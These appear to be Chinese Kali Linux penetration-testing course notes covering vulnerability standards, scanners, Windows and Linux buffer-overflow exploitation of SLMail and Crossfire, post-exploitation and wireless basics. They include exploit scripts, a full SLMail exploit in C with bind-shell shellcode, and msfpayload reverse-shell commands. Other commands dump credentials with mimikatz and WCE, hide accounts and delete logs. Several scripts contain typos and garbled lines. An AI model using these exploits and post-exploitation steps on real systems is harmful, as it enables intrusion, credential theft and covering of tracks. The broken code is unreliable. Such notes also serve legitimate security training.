- 支持平台有限
漏洞的基本概念- CVSS(Common Vulenrability Scoring System)
- 通用漏洞评分系统
- 描述安全漏洞严重程度的统一评分方案
- V 3 版本—2015年6月10日
- Basic Metric:基础的恒定不变的弱点权重
- Temporal Metric:依赖时间因素的弱点的权重
- Environment Metric:利用弱点的环境要求和实施难度的权重
- CVSS
- CVSS是安全内容自动化协议(SCAP)的一部分
- 通常CVSS和CVE一同由美国国家漏洞库(NVD)发布并保持数据的更新
- 分值范围: 0-10
- 不同机构按CVSS分值的的定义威胁的中,高,低威胁级别
- CVSS体现弱点的风险,威胁级别(serverity)表示弱点风险对企业的影响程度
- CVSS分值是工业标准,但威胁级别不是
- Vulerabilty Reference
- CVE(Common Vulenrable and Exposures)
- 已公开的信息安全漏洞字典,统一的漏洞编号标准
- MITRE公司负责维护(非盈利机构)
- 扫描器的大部分扫描项都对应一个CVE编号
- 实现不同厂商之间信息交换的统一标准
- CVE发布流程
- 发现漏洞
- CAN负责制定CVE ID
- 发布到CVE List —– CVE-2008-4250
- MITRE 负责对内容进行编辑维护
- 很多厂商维护自己的Vulnerability Refernce
- MS
- MSKB
- 其他Vulnerability Reference
- CERT TA08-297A
- BID 31874
- IAVM 2008-A-0081
- OVAL OVAL6093
- OVAL(Open Vulenrabilty and Assessment Language)
- 描述漏洞检测方法的机器可识别语言
- 详细的描述漏洞检测的技术细节,可导入自动化检测工具中实施
- OVAL使用XML语言描述,包含了严密的语言逻辑
- CCE
- 描述软件配置缺陷的一种标注化格式
- 在信息安全风险评估中,配置缺陷的检测是一项重要内容,使用CCE可以让配置缺陷以标准的方式展现出来,便于配置缺陷评估的可量化操作
- CPE(Common Product Enumernation)
- 信息技术产品,系统,软件包的结构化命名规范,分类命名
- CWE(Common Weakness Enumeration)
- 常见漏洞类型的字典,描述不同类型漏洞的特征(访问控制,信息泄露,拒绝服务)
- Security Content Automation Protocal(SCAP)
- SCAP 是一个集合了多种安全标准框架
- 6个元素:CVE,OVAL,CCE,CPE,CVSS,XCCDF
- 目的是以标准的方法展示和操作安全数据
- 由NIST负责维护
- SCAP主要解决三个问题
- 实现高层政策法规等到底层实施的落地(如FISMA,ISO2700系列)
- 将信息安全所设计的各个要素标准化(如统一漏洞命以及严重性度量)
- 将复杂的系统配置核查工作自动化
- SCAP是当前美国比较成熟的一套信息安全评估标准体系,其标准化,自动化的思想对信息安全行业产生了深远的影响
- NVD(National Vulnerabilty Database)
- 美国政府的漏洞管理标准数据
- 完全基于SCAP框架
- 实现自动化漏洞管理
- 包含一下库
- 安全检查列表
- 软件安全漏洞
- 配置错误
- 产品名称
- 影响度量
漏洞管理
- 周期性扫描跟踪漏洞
- 高危漏洞优先处理
- 扫描注意事项
- 漏洞管理三要素
- 准确性sssss9
- 时间
- 资源
NMAP- nmap 扫描脚本
- 400+
- 分类
- cat /usr/share/nmap/scripts/script.db
- grep vuln /usr/share/nmap/scripts/script.db | cut -d “" -f 2
- cat /usr/share/nmap/scripts/smb-check-vulns.nse
- smb-check-vulns.nse
- nmap -sU –script=smb-check-vulns.nse –script-args=unsafe=1 -p U:137,139,445 1.1.1.1
- MS08-067
- smb-vuln-ms 10-061.nse
- Stuxnet蠕虫利用的4个漏洞之一
- Print Spooler权限不当 打印请求可在系统目录可创建文件,执行任意代码
- LANMAN API 枚举共享打印机
- 远程共享打印机名称
- smb-enum-shares枚举共享
- 身份认证参数-smbuser,smbpassword
- nmap -p445 –script=smb-enum-shares.nse –script-args=smbuser=admin,smbpassword=pass 1.1.1.1
- Windows XP,Server 2003 SP2,Vista,Server 2008,win7
- 影响扫描结果的因素
弱点扫描器-OPENVAS
- Openvas
- Nessus项目分支
- 管理目标系统的漏洞
- 免费开源
- kali默认安装.但未配置和启动
- 早期Openvas配置
- 安装
- 创建证书
- 同步弱点数据库
- 重建数据库
- 备份数据库
- 启动服务装入插件
- 创建管理员账号
- 创建普通用户账号
- 配置服务侦听端口
- 安装验证
- Openvas组件
- OpenVAS Manager
- 控制scanner和其他manager的中心组件
- 控制中心数据库,保存用户配置及扫描结果
- 客户端使用基于XML的无状态OMP协议与通信
- 集中排序筛选,使客户端获得一致展现
- OpenScanner
- 具体执行Network Vulnerability Tests(NVTs)
- NVTs 每天通过Feed更新
- 受Manager控制
- OSP Scanner
- 可以统一管理多个scanner
- 将一组scanner作为一个对象交给manager
- Greebone Security Assistant(GSA)
- 提供Web Service
- OpenVAS CLI
- omp命令行工具,可实现批处理控制manager
- 更新很快
- 所有找到的资料集合都已不同程度的过时了
- 现在安装Openvas
- 初始化安装
- openvas-setup
- 检查安装结果
- openvas-check-setup
- 查看当前账号
- openvasmd –list-users
- 修改账号密码
- openvasmd –user=admin-new -password=password
- 升级
- openvas-feed-update
- 扫描配置
- 扫描windows
- 扫描LInux
- 扫描网络设备
- 扫描任务
- 进度
- 报告
- 小结
- 不是秘笈而是经验
- vi /usr/bin/openvas-start
NESSUS
- 家庭版
- 免费
- 专业版
- 收费,无限的并发连接
- 下载
- http://www.tenable.com/products/nessus/select-your-operating-system
- 安装
- dpkg -i
- 安装路径: /opt/nessus
- 启动服务
- /etc/init.d/nessusd start
- 策略
- 扫描
- 扫描主机
- 扫描windows
- 扫描linux
- 扫描网络设备
- 扫描 web server
- 报告
- 调度
NEXPOSE- Rapid 7
- Nexpose
- 完整的漏洞管理实现
- 环境准备
- 建立 VM 4G 内存
- http://downloads2.rapid7/download/NeXpose-v4/NexposeVA.ova
- https://IP_addr:3780 (nxdmin/nxpassword)
- 操作系统账号密码:nexpose
- http://www.rapid7.com/products/nexpose/virtual-appliance-enterprise.jsp
- K3LQ-5PPS-RTS5-LTS5(14天后到期)
Kali Linux 从入门到精通(十)-漏洞挖掘之缓冲区溢出
程序漏洞从哪里来?
- 罪恶的根源:变量
- 数据与代码边界不清(注入攻击)
- 最简漏洞原理-shell 脚本漏洞(本质:输入数据本身,程序本身没做检查导致)
缓冲区溢出- 当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被”称暴”,从而覆盖了相邻内存区域的数据
- 成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务控制权等后果’
如何发现漏洞?
- 源码审计
- 逆向工程
- 模糊测试
- 向程序堆栈半随机的数据,根据内存变化判断溢出
- 数据生成器,生成随机,半随机数据
- 测试工具,识别溢出漏洞(动态调试工具:IDA,OD)
Windows系统缓冲区溢出- FUZZING(模糊测试)
- 准备环境
- SLMail 5.5.0 Mail Server
- immunityDebugger_1_85_setup.exe
- mona.py
- POP3 PASS 命令存在缓冲区溢出漏洞
- 无需身份验证实现远程代码执行
- windows防护机制
- DEP:阻止代码从数据页被执行(软硬件实现)
- ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化
- POP3
- NC 110 端口
- 了解未知协议
- Wireshark
- RFC
- 01.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21 #!/bin/python
import socket
s=socket(socket.AF_INET,socket.SOCK_STREM)
try:
print "\nSending evil buffer..."
s.connect(('1.1.1.1',110))
data=s.recv(1024)
print data
s.send('USER xxx'+'\r\n')
data=s.recv(1024)
print data
s.send('PASS test\r\n')
data=s.recv(1024)
print data
s.close()
print "\nDone!"
except:
print "Could not connext to POP3!"
FUZZING(way 1)
- 测试PASS 命令收到大量数据时是否发生溢出
- EIP寄存器存放下一条指令的地址
- 02.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17#!/usr/bin/python
import socket
buffer=["A"]
counter=100
while len(buffer)<=50:
buffer.append("A"*counter)
counter=counter+200
for string in buffer:
print "Fuzzing PASS with %s bytes" % len(string)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('1.1.1.1.1',110))
s.recv(1024)
s.send('USER test'+'\r\n')
s.recv(1024)
s.send('PASS'+string+'\r\n')
s.send('QUIT\r\n')
s.close()
FUZZING(way 2)
2700个字符实现EIP溢出
03.py
1
2
3
4
5
6
7
8
9
10
11import socket
s=soket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer='A'*2600(不断改变数字)
try:
print "\nSending evil buffer..."
s.connect(('1.1.1.1',110))
data=s.recv(1024)
s.send('PASS'+buffer+'\r\n')
print '\nDone!'
except:
print "Could not connect to POP3!"找到精确溢出的4个字节
- 二分法(2700->2600->2650)
- 唯一字串法
- kali生成唯一字符串:/sur/share/metasploit/tools/pattern_ create.rb 2700
- 04.py
- 05.py
思路: 将EIP修改为shellcode代码的内存地址,将shellcode写入到该地址空间,程序读取EIP寄存器数值,并跳转到shellcode代码段执行
寻找可存放的内存地址空间
06.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer="A"*2606+"B"*4+C*(3500-2606-4) # 假设EXP寄存器最大可存放3500个字符
try:
print "\nSending ing evil buffer..."
s.connect(('1.1.1.1',110))
date=s.recv(1024)
s.send("USER TEST"+'\r\n')
date=s.recv(1024)
s.send('PASS'+buffer+'\r\n')\]]]]]]]][[][][][][][][][][ ]]
print "\nDone!"
except:
print "Could not connect to POP3!"
FUZZING:
- 不同类型的程序.协议,漏洞,会将某些字符认为是坏字符,这些字符有固定用途
- 返回地址,shellcode,buffer中都不能出现坏字符
- null (0x00) 空字符,用于终止字符串的拷贝操作
- return (0x0D) 回车操作,表示POP3 PASS 命令输入完成
- 思路:
- 发送0x00-0xff 256个字符,查找所有坏字符
- 07.py
- 坏字符:0x0A,0x00,0x0D
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15#!/usr]]bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
badchars=从0x00-0xff
buffer="A"*2606+"B"*4+badchars
try:
print "\nSending ing evil buffer..."
s.connect(('1.1.1.1',110))
date=s.recv(1024)
s.send("USER TEST"+'\r\n')
date=s.recv(1024)
s.send('PASS'+buffer+'\r\n')
print "\nDone!"
except:
print "Could not connect to POP3!"
- 坏字符:0x0A,0x00,0x0D
- FUZZING:
- 重定向数据流
- 用ESP的地址替换EIP的值
- 但是ESP地址变化,硬编码不可行
- SLMail 线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定
- 变通思路:
- 在内存中寻找地址固定的系统模块
- 在模块中寻找JMP ESP指令的地址跳转,再由该指令间接跳转到ESP,从而执行shellcode
- mona.py脚本识别内存模块,搜索”return address”是JMP ESP指令的模块
- 寻找无EDP,ASLR保护的内存地址
- 内存地址不包含坏字符
mona find -s “二进制地址(可使用16进制转换工具)” -m xxx.dll - 生成shellcode
- Scratch
- ./msfpayload -l
- ./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 -C
- ./msfpayload win32_reverse LHOST=10.0.2.15 444 R | ./msfencode -b “\x00\x0a\x0d”
- nc -vlp 443
- 09.py
- \x90:nop指令
- 防止shellcode被清除前几个字节
- 提权侵入,拿shell
- 重定向数据流
shellcode执行结束后以exit方式退出整个结束,将导致邮件服务崩溃
Smail是一个基于线程的应用,使用ExitThread方式可避免整个服务崩溃,可实现重复溢出
FUZZING:远程桌面操控受控机
windows:配置信息在注册表
RegSnap 工具
提权后远程操控指令:
Linux缓冲区溢出 - - 穿越火线缓冲区溢出
- 1.环境搭建:
- Crossfire(穿越火线)
- 多人在线RPG游戏
- 1.9.0版本接受入站 scoket连接时存在缓冲区溢出漏洞
- 调试工具
- edb
- 运行平台
- Kali i486 虚拟机
- 2.Fuzzing
- 新版本Linux内核会支持内存保护机制
- DEP
- ASLR
- 堆栈 cookies
- 堆栈粉碎
- 本机调试
- ipatbles -A INPUT -p tcp –destination-port 4444 ! -d 127.0.0.1 -j DROP
- ipatbles -A INPUT -p tcp –destination-port 13327 ! -d 127.0.0.1 -j DROP
- 1.01.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16 #!/usr/bin/python
import socket
host="127.0.0.1"
#\x41 代表A 精确溢出
crash="\x41"*4379
# \x11 设备操作指令 \x90 NOP指令
buffer="\x11(setup sound "+ crash +"\x90\x00#"
# 建立连接
s=scoket.socket(socket_AF_INET,socket.SOCK_STREAM)
print "[*] Sending evil buffer..."
s.connect((host,13327))
data=s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"
2.唯一字符串识别EIP精确位置
- 02.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16#!/usr/bin/python
import socket
host="127.0.0.1"
#\x41 代表A 精确溢出
crash='A'*4368+'B'*4+'C'*7
# \x11 设备操作指令 \x90 NOP指令
buffer="\x11(setup sound "+ crash +"\x90\x00#"
# 建立连接
s=scoket.socket(socket_AF_INET,socket.SOCK_STREAM)
print "[*] Sending evil buffer..."
s.connect((host,13327))
data=s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"
- 02.py
3.思路:shellcode代码置入
- 第一阶段shellcode
- ESP 跳转到 EAX
- 偏移12个字节
- setup sound shellcode2
- nasm
- add eax,12
- jmp eax
- 第一阶段shellcode
- 查找坏字符
- \x00\x0a\0x0d\x20
- 查找坏字符
5.shellcode
- ESP跳转地址
- 跳转该过程: EIP->jmp esp->add eax 12->jmp eax
- 使用msfpayload 生成shellcode
选择和修改EXP
网上公开的EXP代码
- 选择可信赖的EXP源(虚拟环境中验证)
- Exploit-db
- SecurityFocus(安全焦点)
- Searchsploit
有能力修改EXP(Python,Perl,Ruby,C,C++…)
选择和修改EXP
- 646.C
- 类unix环境下编译
- 返回地址与本机环境不符
- 反弹shell硬编码回连IP地址
- 缓冲区偏移量与环境不符
- 目标IP硬编码
1
2
3
4
5
6//646.c SLMAIL REMOTE PASSWD BO 代码
// 需使用gcc进行编译
#include <string.h>
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
- 646.C
// [*] bind 4444
unsigned char shellcode[] =
“\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45”
“\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49”
“\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d”
“\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66”
“\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61”
“\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40”
“\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32”
“\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6”
“\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09”
“\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0”
“\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff”
“\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53”
“\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff”
“\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64”
“\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89”
“\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab”
“\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51”
“\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53”
“\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6”
“\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0”;
1 | ``` |
void exploit(int sock) {
FILE test;
int *ptr;
char userbuf[] = “USER madivan\r\n”;
char evil[3001];
char buf[3012];
char receive[1024];
char nopsled[] = “\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90”;
memset(buf, 0x00, 3012);
memset(evil, 0x00, 3001);
memset(evil, 0x43, 3000);
ptr = &evil;
ptr = ptr + 652; // 2608
memcpy(ptr, &nopsled, 16);
ptr = ptr + 4;
memcpy(ptr, &shellcode, 317);
*(long)&evil[2600] = 0x7CB41010; // JMP ESP XP 7CB41020 FFE4 JMP ESP
// banner
recv(sock, receive, 200, 0);
printf("[+] %s", receive);
// user
printf("[+] Sending Username...\n");
send(sock, userbuf, strlen(userbuf), 0);
recv(sock, receive, 200, 0);
printf("[+] %s", receive);
// passwd
printf("[+] Sending Evil buffer...\n");
sprintf(buf, "PASS %s\r\n", evil);
//test = fopen("test.txt", "w");
//fprintf(test, "%s", buf);
//fclose(test);
send(sock, buf, strlen(buf), 0);
printf("[*] Done! Connect to the host on port 4444...\n\n");
}
1 | ``` |
1 | int main(int argc, char **argv) |
1 | # 638.py POP3 PASS 缓冲区溢出代码 |
避免有害的EXP
- 不同的EXP
- 不同的系统补丁
- 软件版本
- 不同的offset,shellcode
- 扫描探测目标系统版本,搭建适当的测试环境
- 避免一锤子测试
- 修改公开的EXP满足不同的环境需要
- 了解漏洞原理,修改溢出代码
后漏洞利用阶段(POST EXPLOITATION)
1.漏洞利用后阶段
上传工具
提取
擦除攻击痕迹
安装后门(木马程序)
- 长期控制
- Dump密码
- 内网渗透(拿到更多服务器)
后漏洞利用阶段
- 最大的挑战-防病毒软件
- 使用合法的远程控制软件(nc)
2.上传工具之上传文件
- 持久控制
- 扩大对目标系统的控制能力
- Linux系统
- netcat
- curl
- wget
- windos系统
- 缺少预装的下载工具
- 一些问题解决方案:
- a.非交互式模式shell(具有局限性,需上传木马拿到交互式shell)
- 类nc 远程控制shell
- ftp 192.168.1.1
- a.非交互式模式shell(具有局限性,需上传木马拿到交互式shell)
- 上传文件的方法
- 使用TFTP传输文件
- xp,2003默认安装
- win7,2008需要单独添加
- 经常被边界防火墙过滤
- 使用FTP传输文件
- apt-get install pure-ftpd
- ftp.sh
- 使用 VBSCRIPT 传输文件
- wget.vbs
- cscript wget.vbs.http://192.168.1.117/nc.exe nc.exe
- 使用POWERSHELL 传输文件
- Wget.ps1
- 使用DEBUG 传输文件
- Debug
- 汇编,反汇编
- 16进制dump工具
- 64k字节
- upx压缩文件
- wine exe2bat.exe nc.exe nx.hex
- debug<nc.hex
- copy 1.dll nc.exe
- Debug
- 使用TFTP传输文件
- 持久控制
Kali Linux 从入门到精通(十一)–提权
本地提权
- 已实现本地低权限账号登录
- 远程溢出
- 直接获得账号密码
- 希望获取更高权限
- 实现对目标进一步控制
- 系统之间权限隔离
- 操作系统安全的基础
- 用户空间
- 内核空间
- 系统账号
- 用户账号登陆时获取权限令牌
- 服务账号无需用户登陆已在后台启动服务
- Windows
- user
- Administrator
- System:实质最大权限账号
- 注:非包含关系,交集
- Linux
- User
- Root:相当于Administrator和System
Windows 系统提权之—-ADMIN–提取为SYSTEM- Windos账号
- 系统设置管理功能
- Sysinternal Suit
- https://technet.microsoft.com/en-us/sysinternals
- psexec -i -s -d taskmgr
- at 19:39 /interactive cmd
- sc Create syscmd binPath=”cmd /K start” type=own type=”interact”
- sc start syscmd(系统默认以SYSTEM方式启动服务)
- 注入进程提权
- 隐藏痕迹
- pinjector.exe
- http://www.tarasco.org/security/Process_injector/
抓包嗅探- Windows
- Wireshark
- Omnipeek:Windows抓包工具,界面友好
- commview
- Sniffpass (基于抓包密码抓取数据)
- Linux
- Tcpdump
- Wireshark
- Dsniff (抓取密码)
键盘登录- Keylogger
- 木马窃取
本地缓存密码- 浏览器缓存的密码
- IE浏览器
- Firefox
- 网络密码
- 无线密码
- http://www.nirsoft.net
- Dump SAM(数据库)
- Pwdump(从windows的SAM中读取密文)
- /usr/share/windows-binaried/fgdump/
- 生成PWDUMP 文件
- 使用ophcrack(密码破解工具) 进行爆破
Windows 身份认证过程
WCE(WINDOWS CREDENTIAL EDITOR)<======工具(win7之前)
- /usr/share/wce/
- 需要管理员权限
- wce-universal.exe -l / -lv
- wce-universal.exe -d
- wce-universal.exe -e / -r
- wce-universal.exe -g
- wce-universal.exe -w
- LM/NT bash
- 从内存读取LM/NLTM hash
- Digest AAUTHENTICATION Package
- NLTM Security Package
- Kerberos Security Package
- 防止WCE攻击
其他工具
- pwdump localhost
- fgdump
- mimikatz
- privilege::debug # 提升权限
- sekulsa::logonPasswords
利用漏洞提权
- MS 11-80 漏洞 ( 单机漏洞提取)
- Ms 11-080 (11 年第80个漏洞)—> 中文版本会产生dos(拒绝服务攻击)
- Kb2592799
- Pyinstaller
- Pywin32
- MS11-046
- DoS
- MS14-068 漏洞 (获得域的管理员权限 操控多台计算机)
- 库
- ms14-068.py -u user@lab.com -s userSID -d dc.lab.com
- 拷贝 TGT_user1@ lab.com cache到windos系统
- 本地管理员登录
- mimkatz.exe
- CVE-2012-0056 (Linux OS 漏洞)
- /proc/pid/mem (进程权限控制不严格)
- kernels>2.6.39
- http://blog.zx2c4.com/749
利用配置不当提权
- 与漏洞提取相比 更常用的方法
- 企业环境
- 补丁更新的全部已经安装
- 输入变量过滤之外更值得研发关注的安全隐患
- 以system的权限启动
- NTFS权限允许users修改删除
- icals
- icals c:\windows*.exe /save perm /T
- Find
- find / -perm 777 -execls -l {} ;
- 应用系统的配置文件
- 应用连接数据库的配置文件
- 后台服务运行账号
基本信息收集 - Linux
- /etc/resolv.conf
- /etc/passwd
- /etc/shadow (保存有密码)
- whoami,who -a
- ifconfig -a iptables -L -n,netstat -rn
- uname -a,ps aux
- dpkg -l | head
- Windows
- ipconfig / all, ipconfig/displaydns netstat -bnao,netstat -r
- net view,netview /domain
- net user/domain
- net accounts,net share
- net localgroup administarators username /add
- net group “Domain Controlleds” /domain
WMIC(WINDOWS MANAGEMENT INSTRUMENTATION)<—强大功能
- wmic nicconfig get ipaddress,nacadess
- wmic computersystem get username
收集敏感信息 - 商业信息
- 系统信息
- Linux
- /etc ; /usr/local/etc
- /etc/pass ; /etc/shadow
- .ssh ; .gnupg 公私钥
- The e-mail and data file
- 业务数据库 ; 身份认证服务器数据库
- /tmp
- Windows
- SAM 数据库 ; 注册表文件
- %SYSTEMROOT%\repair\SAM (存放SAM副本)
- %SYSTEMROOTS%\System32\config\RegBack\SAM (存放SAM副本)
- 业务数据库 ; 身份认证数据库
- 临时文件目录
隐藏痕迹 - 禁止在登录界面显示新建账号
- REG ADD “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windoes NT\CurrentVersion\WinLogon\SpecialAccounts\UserList” /v uname /T
REG_SWORD/D 0 (隐藏账号) - del %WINDIR%*.log /a/s/q/f
- History
- 日志
- auth.log / secure
- btmp / wtmp
- lastlog / faillog
- 其他日志和HIDS等
Kali Linux 从入门到精通(十一)–无线渗透测试
1.无线渗透概述
- 与其他章节独立,涵盖面广,可独立成课
- 无线技术变化块,难度大
- 既新鲜刺激 难度大
- 不会研究很深
- 半理论,半实践
- 理论是本章最有价值的部分(aircrack-ng suite 作者写的一本书)
- 无线技术是本课程难度最大的一章
- 协议结构
2.无线技术特点- 行业迅猛发展
- 互联网的重要入口
- 边界模糊
- 安全实施缺失而且困难
- 对技术不了解而造成配置不当
- 企业网络私自接入AP破坏网络边界
3.IEEE:Institute of Elecrical and Electronics Engineers- IEEE分为不同的技术委员会,其中802委员会负责lan,man的制定
- 以太网
- 令牌环网
- 无线局域网
- 网桥
4.无线(802.11)- 数据链路层
- LLC
- MAC
- 物理层
- IEEE 802.11 标准
图片1
图片4
802.11b
802.11A
802.11G- 无线
图片2- 日常使用
图片3
5.无线网络运行模式- 无线网络架构 (两种半方式)
- a. Infrasture (基础架构型)
- AP 维护SSID(服务级标识符–即无线名)
- 至少包含一个AP和一个STATION,形成一个Basic Service Set(BSS) 基本服务集
- AP连接到有线网络,称为Distribution System(DS)
- 连接到同一个DS的多个AP形成一个Extended Service Set(ESS)
- b. Ad-Hoc
- STA 维护SSID
- 也被称为Independent Basic Service Set(IBSS)
- 有至少两个STAs直接通信组成
- 也称为peer to peer模式
- 其中一个STA负责AP的工作
- 通过beacon广播SSID
- 对其他STAs进行直接身份验证
- Service Set Identifier(SSID)
- AP每秒钟约10次通过Beacon帧广播SSID - 客户端连接到无线网络后也会宣告SSID
- WIRELESS DISTRIBUTION SYSTEM(WDS)
- 与有限DS类似,只是通过无线连接的多个AP组成的网络
- Bindging(桥接方式)-只有AP间彼此通信
- Repeating(中继方式)-只允许所有AP和STA进行通信
- c.MONITOR MODE(类似于有线网络的混杂模式,可抓住其他机器的流量)
- Monitor 不是一种真的无线模式
6.无线网络硬件设备及基本概念
- 但是对无线渗透至关重要
- 允许无线网卡没有任何筛选的抓包(802.11包头)
- 与有线网络的混杂模式可以类比
- 审核的网卡和驱动不但可以monitor,更可以Injection
7.选择无线网卡
- 物理机运行kali
- 虚拟机运行kali
- 外置USB 无线网卡
- TL-WN722N(个人建议)
- dmseg
- iwconfig
- 这是个痛苦和受挫的过程
- 无线网卡的芯片和型号是成败的关键
- 台式机:
- USB 无线卡 (不支持扩展天线)
- PCMCIA(16 bit 已停产)
- Cardbus(32 bit PCMCIA 8.0标准)
- Express Cards
- MiniPCI
- MiniPCI Express
- 发送功率:远程连接
- 接收灵敏:适当降低灵敏度,接收效果更佳
- 经验但不是铁律
- 或 Realtek 芯片
- 没有神器
- 兼容 aircrack-ng suite
- http://www.aircrack-ng.org/doku.php?id=compatibility_drivers#list_of_compatiable_adapters
- 无线渗透网卡没有所谓标准,但是Aircrack-ng suite 作者给出建议
- Alfa Networks AWUS036H 无线网卡
8.无线技术概念
9.Linux无线协议栈及配置命令
10.RADIOTAP头